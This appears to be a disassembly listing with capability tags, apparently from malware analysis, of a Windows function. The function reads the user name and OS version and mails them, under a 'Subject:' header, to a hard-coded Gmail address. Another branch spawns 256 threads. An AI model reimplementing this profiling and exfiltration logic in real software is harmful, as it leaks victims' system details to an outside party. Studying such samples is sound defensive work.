Function at 0x4026c0
Capabilities:
Check os version
Create thread
Get session user name
Initialize winsock library

Disassembly:
sub esp, 0x594
push ebx
push esi
lea eax, [esp + 0x40c]
push edi
push eax
push 0x202
mov dword [esp + 0x14], 0x104
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x4028e5
call fcn.00402410
test eax, eax
je 0x4028e5
push 0x104
push 0x408c28
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
push str.gmail.com
call fcn.004013d0
mov dword [0x409640], eax
add esp, 8
mov esi, str.SYSTEM
lea eax, [esp + 0x10]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x402768
test cl, cl
je 0x402764
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x402768
add eax, 2
add esi, 2
test cl, cl
jne 0x402740
xor eax, eax
jmp 0x40276d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4028b5
call fcn.00401ba0
call fcn.00401b30
call fcn.00401040
mov edi, str.Subject:
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x409654
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [esp + 0xc], eax
and eax, 0xffff
cmp eax, 6
jg 0x402817
je 0x40280c
sub eax, 4
je 0x402801
dec eax
jne 0x402825
lea edx, [esp + 0x10]
mov edi, str.Win2000
jmp 0x402844
lea edx, [esp + 0x10]
mov edi, str.WinNt
jmp 0x402844
lea edx, [esp + 0x10]
mov edi, str.WinVista
jmp 0x402844
cmp eax, 0x105
je 0x40283b
cmp eax, 0x205
je 0x402830
lea edx, [esp + 0x10]
mov edi, str.Unkown
jmp 0x402844
lea edx, [esp + 0x10]
mov edi, str.Win2003
jmp 0x402844
lea edx, [esp + 0x10]
mov edi, str.WinXp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.whiat1001_gmail.com
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x408650
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401430
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x594
ret 0x10
mov edi, dword [sym.imp.MSVCRT.dll__beginthreadex]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0x100
push 0
push 0
push 0
push 0x402900
push 0
push 0
call edi
add esp, 0x18
push 0x32
call esi
dec ebx
jne 0x4028c6
push 0xffffffffffffffff
call esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x594
ret 0x10